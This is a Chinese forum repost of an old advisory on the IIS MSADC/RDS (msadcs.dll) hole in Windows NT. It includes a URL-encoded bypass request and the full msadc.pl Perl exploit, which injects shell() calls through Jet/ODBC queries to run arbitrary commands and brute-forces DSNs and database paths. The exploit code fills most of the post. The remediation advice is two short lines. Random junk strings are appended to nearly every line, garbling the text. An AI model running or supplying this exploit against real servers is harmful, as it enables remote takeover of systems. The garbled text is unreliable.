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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) zQx7qx  
 ePI)~  
涉及程序: pB79#4  
Microsoft NT server B=2f-o  
I=V]_Ik4 N  
描述: D?cE$P  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 YwF\  
bhT:MW!  
详细: wEIAU  
如果你没有时间读详细内容的话,就删除: :sek MNM  
c:\Program Files\Common Files\System\Msadc\msadcs.dll UyOoyyd.  
有关的安全问题就没有了。 mr`EcO0  
j*1O(p+  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 xwrleB  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >l!DW i6  
关于利用ODBC远程漏洞的描述,请参看: %D*yXNsY  
RkBbu4uQ-  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm w24@KaKFo  
3.I:`>;EO  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @c{b\is2  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8Vqh1<  
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这里不再论述。 J9/}ZD^  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 97(*-e=e  
vh^,8pPy  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset FG5t\!dt<  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! a(`@u&]WZ  
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q/yL={H?  
#将下面这段保存为txt文件,然后: "perl -x 文件名" tsu Mt  
E 14Dq#L  
#!perl +eD+Z.{  
# RgT|^|ZA  
# MSADC/RDS 'usage' (aka exploit) script u@-x3%W  
# QWV12t$v  
# by rain.forest.puppy 7{e*isV  
# }Qm: g  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me l>O~^41[  
# beta test and find errors! `V[{,!l;X  
K0O&-v0"1  
use Socket; use Getopt::Std; ULkhTB  
getopts("e:vd:h:XR", \%args); /a!M6:,pX  
y6nPs6kR  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ,P9q[  
7}e73  
if (!defined $args{h} && !defined $args{R}) { B#K{Y$!v  
print qq~ %0!!998  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3KW4 ]qo~  
-h <host> = host you want to scan (ip or domain) N8^ AH8l  
-d <seconds> = delay between calls, default 1 second xMu[#\Vc  
-X = dump Index Server path table, if available <r'l5|er  
-v = verbose .v{ok,&  
-e = external dictionary file for step 5 CQx#Xp>=s  
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Or a -R will resume a command session 3,<$z1Jm  
TxD,A0  
~; exit;} (/r l\I  
0qj:v"~Q  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; cn$o$:tW  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} M3U*'A\  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} A+&^As2  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); BB694   
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} rv\m0*\<  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } <!s+X_^  
m ["`Op4  
if (!defined $args{R}){ $ret = &has_msadc; +I {ZW}rA  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~<?+(V^D  
#Jo#[-r  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" $6ev K~  
. "cmd /c "; >vPDF+u  
$in=<STDIN>; chomp $in; |KHaL?  
$command="cmd /c " . $in ; 5mxYzu;#]  
4iD-jM_D  
if (defined $args{R}) {&load; exit;} #MyR:V*a  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 7 )`U%}R  
&try_btcustmr; .m&JRzzV  
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print "\nStep 2: Trying to make our own DSN..."; <GbF4\ue  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 5*ip}wA  
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print "\nStep 3: Trying known DSNs..."; WPmH4L>T  
&known_dsn; *oC],4y~D  
5v f?E"\r  
print "\nStep 4: Trying known .mdbs..."; .>Gnb2  
&known_mdb; l$PSID  
gkJL=,  
if (defined $args{e}){ kPm{tc  
print "\nStep 5: Trying dictionary of DSN names..."; i: 6`Rmz1.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } mIK-a{?G  
@%7IZg;P6  
print "Sorry Charley...maybe next time?\n"; &Hb;; Ic(  
exit; N:j,9p0,  
KxZO.>,  
############################################################################## ! z^%$;p  
~$GRgOn  
sub sendraw { # ripped and modded from whisker CEwMPPYnD  
sleep($delay); # it's a DoS on the server! At least on mine... A{[joo  
my ($pstr)=@_; TN xl?5:  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || B}PT-S1l  
die("Socket problems\n"); 6zmt^U   
if(connect(S,pack "SnA4x8",2,80,$target)){ RObo4  
select(S); $|=1; =6XJr7Ay8u  
print $pstr; my @in=<S>; 5r*5Co+  
select(STDOUT); close(S); JnW G_|m)  
return @in; SXYH#p  
} else { die("Can't connect...\n"); }} KT3W>/#E  
[Eeanl&x>  
############################################################################## 'pCZx9 *c  
$pV:)N4  
sub make_header { # make the HTTP request {XHAQ9'  
my $msadc=<<EOT /s@t-gTi  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 UlG8c~p  
User-Agent: ACTIVEDATA #GDnV/0)  
Host: $ip {X85  
Content-Length: $clen @/MI Oxg[  
Connection: Keep-Alive  /$Qs1*  
n~1F[ *  
ADCClientVersion:01.06 E,~|-\b}h  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 iKJ-$x_5  
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--!ADM!ROX!YOUR!WORLD! <G};`}$a  
Content-Type: application/x-varg  ;Y6XX_  
Content-Length: $reqlen dRdI('  
<EhOIN7@*D  
EOT iyA=d{S;V  
; $msadc=~s/\n/\r\n/g; *oby(D"p  
return $msadc;} v qt#JdPp9  
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############################################################################## M id v  
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sub make_req { # make the RDS request 1zGD~[M  
my ($switch, $p1, $p2)=@_; x7<2K(  
my $req=""; my $t1, $t2, $query, $dsn; KKBrw+)AJ  
HT`k-}ho,  
if ($switch==1){ # this is the btcustmr.mdb query ,4Q1[K35B  
$query="Select * from Customers where City=" . make_shell(); Bi.,@7|>  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . `D%U5Jb  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} W)_|jpd[  
D6$*#D3U  
elsif ($switch==2){ # this is general make table query x|b52<dLL&  
$query="create table AZZ (B int, C varchar(10))"; ag_*Z\  
$dsn="$p1";} 1fK]A*{p  
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elsif ($switch==3){ # this is general exploit table query _%@dlT?  
$query="select * from AZZ where C=" . make_shell(); <2n5|.:>  
$dsn="$p1";} L">\c5ca  
g"Tb\  
elsif ($switch==4){ # attempt to hork file info from index server wit rC>  
$query="select path from scope()"; eh39"s  
$dsn="Provider=MSIDXS;";} d-sT+4o}  
Sl;[9l2  
elsif ($switch==5){ # bad query e=cb%  
$query="select"; RoFOjCc>D.  
$dsn="$p1";} b8 ^O"oDrp  
aw923wEi  
$t1= make_unicode($query); gTS} 'w{  
$t2= make_unicode($dsn); Ke;eI+P[  
$req = "\x02\x00\x03\x00"; 4St-Q]Y _  
$req.= "\x08\x00" . pack ("S1", length($t1)); }Q?a6(4  
$req.= "\x00\x00" . $t1 ; VnYcqeCm  
$req.= "\x08\x00" . pack ("S1", length($t2)); \ xJ_ )r  
$req.= "\x00\x00" . $t2 ; 68UfuC  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 8FIk|p|l^  
return $req;} g8SVuG<DI\  
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############################################################################## 7BS5Eq B=  
~m'8<B5+  
sub make_shell { # this makes the shell() statement *x &  
return "'|shell(\"$command\")|'";} H%bc.c  
EzeU-!|W  
############################################################################## n *EGOS  
[ [#R ry  
sub make_unicode { # quick little function to convert to unicode iG ,z3/~v  
my ($in)=@_; my $out; I/*^s  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } O'Q,;s`uC  
return $out;} nWes,K6T  
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############################################################################## fm^J-  
|vw],r6  
sub rdo_success { # checks for RDO return success (this is kludge) ;:,U]@  
my (@in) = @_; my $base=content_start(@in); 8wrO64_NO  
if($in[$base]=~/multipart\/mixed/){ 8B(=Y;w  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} OQIr"  
return 0;} %g~&$oZmq  
jqj4(J@%yr  
############################################################################## hD[r6c  
BM{*5Lf  
sub make_dsn { # this makes a DSN for us vGnFX0?h  
my @drives=("c","d","e","f"); i-ww@XOQ  
print "\nMaking DSN: "; ["#H/L]3  
foreach $drive (@drives) { r8tW)"?  
print "$drive: ";  )$GCur~  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . T/.UMw  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" kL F~^/  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); o`Af6C;Q  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; w~q ]&  
return 0 if $2 eq "404"; # not found/doesn't exist "L;@qCfhO  
if($2 eq "200") { D59q/@  
foreach $line (@results) { MGf*+!y,  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} O')=]6CQ*  
} return 0;} ~"_!O+Pj  
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############################################################################## 4TI`   
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sub verify_exists { ^s#+`Y05/  
my ($page)=@_; U[2;Fkapi  
my @results=sendraw("GET $page HTTP/1.0\n\n"); gj iFpW4  
return $results[0];} %#o@c  
C=(Q0-+L|  
############################################################################## d!46`b$rd  
$)nPj_h  
sub try_btcustmr { C4qK52'2s  
my @drives=("c","d","e","f"); T`MM<+^G  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5JEOLPS  
MkHkM  
foreach $dir (@dirs) { Rc3!u^?u  
print "$dir -> "; # fun status so you can see progress 6.a5%:  
foreach $drive (@drives) { +0)M1!gK  
print "$drive: "; # ditto $P#x>#+[A  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; eXD~L&s[  
$reqlenlen=length( "$reqlen" ); xAl8e  
$clen= 206 + $reqlenlen + $reqlen; YXZP-=fB>i  
+$#<gp"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); pg!MtuC}  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} gaxM#  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ul~6zBKO   
O9zMD8  
############################################################################## M>|ZBEK  
S-}c_zbl;  
sub odbc_error { x/CM)!U)  
my (@in)=@_; my $base; N Uv Vhy]{  
my $base = content_start(@in); JV@G9PT  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this M)!"R [V  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; pW@W-k:u  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *r[V[9+y-D  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /g. c( -#]  
return $in[$base+4].$in[$base+5].$in[$base+6];} d/jP2uu A  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; [OTn>/W'  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 9od*N$  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ']>9 /r#  
kS &>g  
############################################################################## [U",yN]d  
_k26(rdI@-  
sub verbose { 1<1+nGO  
my ($in)=@_; :N_]*>  
return if !$verbose; = c Z24I  
print STDOUT "\n$in\n";} AEaN7[PQx|  
akt7rnt?i  
############################################################################## qbD 7\%  
EnlAgL']|  
sub save { ye=4<b_  
my ($p1, $p2, $p3, $p4)=@_; $/C1s"C@O  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; @XolFOL"f"  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; [tof+0Y6  
close OUT;} k9OGnCW\  
`*B0n>ol,  
############################################################################## Lo_+W1+  
2/r8% Sq  
sub load { 3: WEODV2  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; c'tQA  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); VqV[ @[P  
@p=<IN>; close(IN); "r_wgl%  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); m N}szW,  
$target= inet_aton($ip) || die("inet_aton problems"); ?R#$ c]  
print "Resuming to $ip ..."; r!dWI  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; yD7}  
if($p[1]==1) { y)&K9 I  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ur8+k4] \"  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; }}$@Tij19[  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 96<oX:#  
if (rdo_success(@results)){print "Success!\n";} p>+9pxx~U  
else { print "failed\n"; verbose(odbc_error(@results));}} "}qs +  
elsif ($p[1]==3){ G2kU_  
if(run_query("$p[3]")){ J??AU0 vh  
print "Success!\n";} else { print "failed\n"; }} Jg[Ao#,==  
elsif ($p[1]==4){ eNK +)<PK(  
if(run_query($drvst . "$p[3]")){ a24 AmoWx  
print "Success!\n"; } else { print "failed\n"; }} 9D1WUUa  
exit;} z``wqK  
]5S`y{j1  
############################################################################## dREY m}1  
uB.kkkGZ M  
sub create_table { q/U-6A[0  
my ($in)=@_; &N/t%q  
$reqlen=length( make_req(2,$in,"") ) - 28;  SW#/;|m  
$reqlenlen=length( "$reqlen" ); A)sYde(  
$clen= 206 + $reqlenlen + $reqlen; xt5/`C  
my @results=sendraw(make_header() . make_req(2,$in,"")); *C5`LgeX  
return 1 if rdo_success(@results); D;V[9E=g/  
my $temp= odbc_error(@results); verbose($temp); 0dC5 -/+  
return 1 if $temp=~/Table 'AZZ' already exists/; 0,t%us/q  
return 0;} 950N\Y @u  
50N4J  
############################################################################## ;z4F-SYQ  
]q%r2 (y,k  
sub known_dsn { {s0%XG1$  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go hvw9i7#  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", dz9U.:C  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", JyMk @Y  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 8-nf4=ll  
~#*C,4m  
foreach $dSn (@dsns) { jn V=giBu  
print "."; f?sm~PwC-  
next if (!is_access("DSN=$dSn")); ja_8n["z  
if(create_table("DSN=$dSn")){ (CxA5u1|l  
print "$dSn successful\n"; RtMI[  
if(run_query("DSN=$dSn")){ ZiJF.(JS  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { xGwImF$r  
print "Something's borked. Use verbose next time\n";}}} print "\n";} :'Qiwf&  
[#Y L_*p  
############################################################################## ~U]g;u  
%f1%9YH  
sub is_access { Sf,z  
my ($in)=@_; ]u_j6y!  
$reqlen=length( make_req(5,$in,"") ) - 28; |q77  
$reqlenlen=length( "$reqlen" ); nTqU~'d'  
$clen= 206 + $reqlenlen + $reqlen; :G1ddb&0+  
my @results=sendraw(make_header() . make_req(5,$in,"")); QF"7.~~2  
my $temp= odbc_error(@results); n(F!t,S1i  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 1(?4*v@B  
return 0;} sxREk99lL  
X,|8Wpi=  
############################################################################## [MTd<@  
C$y6^/7)  
sub run_query { >D,Oav  
my ($in)=@_; 4qOzjEQ  
$reqlen=length( make_req(3,$in,"") ) - 28; Ap dXsL  
$reqlenlen=length( "$reqlen" ); m@2E ~m  
$clen= 206 + $reqlenlen + $reqlen; 9*)&hhBs,  
my @results=sendraw(make_header() . make_req(3,$in,"")); K&L!O3#(  
return 1 if rdo_success(@results); r[L%ap\{  
my $temp= odbc_error(@results); verbose($temp); K|P0nJT  
return 0;} ]ZY2\'  
Pp8S\%z~h  
############################################################################## QJ2]8K)+C  
)O1]|r7v  
sub known_mdb { Xul`>8y|  
my @drives=("c","d","e","f","g"); P>7Xbm,VP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); OsgPNy0  
my $dir, $drive, $mdb; /Y7^!3uM  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; xE1?)  
E`IXBI  
# this is sparse, because I don't know of many Q]k< Y  
my @sysmdbs=( "\\catroot\\icatalog.mdb", &`D$w?beg  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", sU_K^=6*  
"\\system32\\certmdb.mdb", ]&*POri&  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% }%< ?]  
?XBdBR_"^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", hg)Xr5>  
"\\cfusion\\cfapps\\forums\\forums_.mdb", F5o8@ Ib]:  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 5 D|#l*V  
"\\cfusion\\cfapps\\security\\realm_.mdb", KYFKH+d>m  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 7~h3B<  
"\\cfusion\\database\\cfexamples.mdb", \]ib%,:YU  
"\\cfusion\\database\\cfsnippets.mdb", dfDjOZSL  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 6V;Dcfvi  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 02J/=AC5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ?JrUZXY  
"\\cfusion\\database\\smpolicy.mdb", uF7vba$  
"\\cfusion\\database\cypress.mdb", |9E:S  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", -^@FZ R^Y  
"\\website\\cgi-win\\dbsample.mdb", +IdM|4$\1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |L<JOQ  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" uzd7v,  
); #these are just /vQ)$;xf#  
foreach $drive (@drives) { VI! \+A  
foreach $dir (@dirs){ i fsh(^N  
foreach $mdb (@sysmdbs) { V6g*"e/8  
print "."; s9?mX@>h  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ f1'ByV'2  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 1-kuK<KR  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ /`PYk]mJh  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; `G\ qGllX  
} else { print "Something's borked. Use verbose next time\n"; }}}}} *p{p.%Qs:  
TegdB|y7O  
foreach $drive (@drives) { lu#a.41  
foreach $mdb (@mdbs) { Pf;OYWST  
print "."; M\1CDU+*Ns  
if(create_table($drv . $drive . $dir . $mdb)){ gwj?.7N*k  
print "\n" . $drive . $dir . $mdb . " successful\n"; $(1t~u<17  
if(run_query($drv . $drive . $dir . $mdb)){ bmT%?it  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; l6'KIg  
} else { print "Something's borked. Use verbose next time\n"; }}}} Jz8P':6[  
} Wv4$Lgr  
5_^d3LOT0x  
##############################################################################  ][ $UN  
RXXHg  
sub hork_idx { P]+B}))  
print "\nAttempting to dump Index Server tables...\n"; vn.5X   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; OTy!Q,0$.  
$reqlen=length( make_req(4,"","") ) - 28; gwaSgV$z  
$reqlenlen=length( "$reqlen" ); Dl!0Hl  
$clen= 206 + $reqlenlen + $reqlen; iM .yen_vp  
my @results=sendraw2(make_header() . make_req(4,"","")); 7gX32r$%V  
if (rdo_success(@results)){ XT^=v6^H  
my $max=@results; my $c; my %d; tQ }GTqk  
for($c=19; $c<$max; $c++){ 8:Hh;nl  
$results[$c]=~s/\x00//g; 2a@X-Di  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; r/h\>s+N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; C|y^{4 |R  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; W6?=9].gc  
$d{"$1$2"}="";} '6D"QDZB  
foreach $c (keys %d){ print "$c\n"; } 4~ x>]  
} else {print "Index server doesn't seem to be installed.\n"; }} l0&Fm:))k  
4K cEJlK5  
############################################################################## C:1(<1K  
9Qyc!s`  
sub dsn_dict { 2I:P}!  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); bU gg2iFS  
while(<IN>){ oyVT  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Gs#9'3_U5  
next if (!is_access("DSN=$dSn")); W=Syo&;F8  
if(create_table("DSN=$dSn")){ #19O5  
print "$dSn successful\n"; J>X@g;  
if(run_query("DSN=$dSn")){ .XgY&5Qk  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { s:{[Y7\?  
print "Something's borked. Use verbose next time\n";}}} $mxG-'x%K  
print "\n"; close(IN);} 'e:4  
c@>ztQU*  
############################################################################## Vg62HZ |  
lLQcyi0  
sub sendraw2 { # ripped and modded from whisker p;4FZ$  
sleep($delay); # it's a DoS on the server! At least on mine... Q]5_s{kiz  
my ($pstr)=@_; )pI( <  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || H@- GYX"4  
die("Socket problems\n"); shB3[W{}!)  
if(connect(S,pack "SnA4x8",2,80,$target)){ {"jtR<{)  
print "Connected. Getting data"; nZiwR4kM  
open(OUT,">raw.out"); my @in; C32*RNG?U  
select(S); $|=1; print $pstr; x`?>j$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} #Q2s3 "X[  
close(OUT); select(STDOUT); close(S); return @in; U/FysN_N!  
} else { die("Can't connect...\n"); }} b!t[PShw^  
g)f& mQ)  
############################################################################## o0AT&<K  
6b*xhu\  
sub content_start { # this will take in the server headers 5XT^K)'  
my (@in)=@_; my $c; tIn`L6b  
for ($c=1;$c<500;$c++) { bD)"Jy  
if($in[$c] =~/^\x0d\x0a/){ .Z]hS7t  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } L=54uCv Q  
else { return $c+1; }}} )Q9Qo)D T  
return -1;} # it should never get here actually y?cN  
z,ryY'ua/I  
############################################################################## IqlCl>_j  
1q=Q/L4P  
sub funky { @?s>oSyV  
my (@in)=@_; my $error=odbc_error(@in); 7oZPb  
if($error=~/ADO could not find the specified provider/){ o]V.6Ge-  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; z 3[J sE%  
exit;} 6wT ])84  
if($error=~/A Handler is required/){ ;HYEJ3  
print "\nServer has custom handler filters (they most likely are patched)\n"; 6 o   
exit;} FaJK R  
if($error=~/specified Handler has denied Access/){ W3ms8=z  
print "\nServer has custom handler filters (they most likely are patched)\n"; )AEtW[~D  
exit;}} YeT{<9p  
q'trd};xR  
############################################################################## {tOf0W|  
 7L:Eg  
sub has_msadc { |3FGMg%  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); # B <%  
my $base=content_start(@results); a Z)1SX`D  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 6jm?d"9  
return 0;} PI$i_3N  
A|K=>7n]U  
######################## 6.tA$#6HP  
"] 2^O  
RIUJX{?  
解决方案: C(h<s e?  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll iEI#J!~  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 F#L1~\7  
?zC{T*a  
拿出来充数 哈哈
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